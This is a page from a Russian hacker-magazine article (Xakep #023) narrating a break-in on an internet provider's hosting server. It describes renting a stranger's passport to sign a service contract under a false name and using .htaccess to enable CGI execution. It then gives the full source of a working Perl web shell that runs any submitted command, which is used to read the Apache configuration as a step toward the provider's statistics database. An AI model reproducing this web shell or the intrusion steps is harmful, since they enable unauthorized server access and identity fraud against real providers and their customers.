Ломаем провайдера?!

Xakep, номер #023, стр. 023-038-2


Пришлось даже проиндексировать (HT://Dig) все доступные WEB-странички на http://users.провайдер.ру/, однако следов использования CGI-скриптов не обнаружилось...

OK! Обратимся к человеческому фактору...

Вторник, 10-00

Подхожу на улице к молодому человеку бомжеватого вида и слезно умоляю (за 100 рублей) одолжить паспорт на некоторое время. Через 20 минут в моих руках оказался договор, согласно которому я, Иван Петрович Пуговкин имею право воспользоваться услугами Интернет через компанию www.провайдер.ру и, в числе прочих возможностей, завести собственную домашнюю страничку и проверить состояние лицевого счета на сервере статистики. Логин/пароль прилагаются.

Дело в том, что на сервере провайдера было написано, что "домашние странички следует готовить в кодировке win1251. Если вы используете другой тип кодировки, то в корневой каталог вашего сервера можно положить файл .htaccess с одной строчкой "CharsetSourceEnc koi-8r". Только в данной ситуации кодировки нас совсем не интересовали. Кладем в мой домашний каталог файл .htaccess, только строчка выглядела немного по другому - "Options Includes ExecCGI". Заливаем по FTP маленький файл (test.cgi),

=============== test.cgi =============

#!/usr/local/bin/perl

print "Content-type: text/html\n";

print "test\n";

=============== end of test.cgi ========

делаем "chmod 755" при помощи FTP-клиента. Запускаем браузер и заходим на http://users.провайдер.ру/user_name/test.cgi). Yes!!! Работает! Мы смогли запустить cgi-скрипт на perl, хотя провайдер и считает, что это невозможно. Сие означает, что, в принципе, мы можем запустить на сервере любую программу с правами пользователя, из под которой работает WEB-сервер (например, nobody). В качестве инструмента загружаем на сервер следующую утилиту (shell.cgi), изменяем ее атрибуты на 755,

==================== shell.cgi ==================

#!/usr/local/bin/perl

read (STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

@names=split('&',$buffer);

foreach $name (@names)

{

($field,$value)=split('=',$name);

$value=~ s/\+/ /g;

$value=~ s/%([0-9A-Fa-f][0-9A-Fa-f])/pack("c",hex($1))/ge;

$form{$field}=$value;

}

print <<EOT

Content-type: text/html

<html>

<body bgcolor="#ffffff" onLoad="document.forms[0].com.focus()">

<form method="post" action="shell.cgi">

<input size=50 name="com">

</form>

EOT

;

$result = `$form{com} 2>&1`;

$result =~ s/\n/<br>/g;

print $result;

print "</body></html>\n";

================ end of shell.cgi ==================

заходим на http://users.провайдер.ру/user_name/shell.cgi) и в формочке (shell c правами пользователя nobody) набираем какую-нибудь UNIX-команду. Например, "date". Впрочем, сколько сейчас времени нас интересует только лишь по той причине, что прошло всего 15 минут с момента начала попытки взлома. А сейчас нас больше волнует конфигурационный файл сервера Apache. Обычно он находится здесь - /usr/local/apache/conf/httpd.conf. Пробуем его просмотреть при помощи нашей странички (shell.cgi) командой "cat /usr/local/apache/conf/httpd.conf". Оказалось, что на этом хосте одновременно функционируют два виртуальных Web-сервера (сервер статистики и сервер, где хранятся наши бесплатные странички). Начинаем изучать сервер статистики... Авторизация выполнена средствами Apache, причем авторизуется он в MySQL-базе (http://www.mysql.com) на сервере store.провайдер.ru.

Назад на стр. 023-038-1  Содержание  Вперед на стр. 023-038-3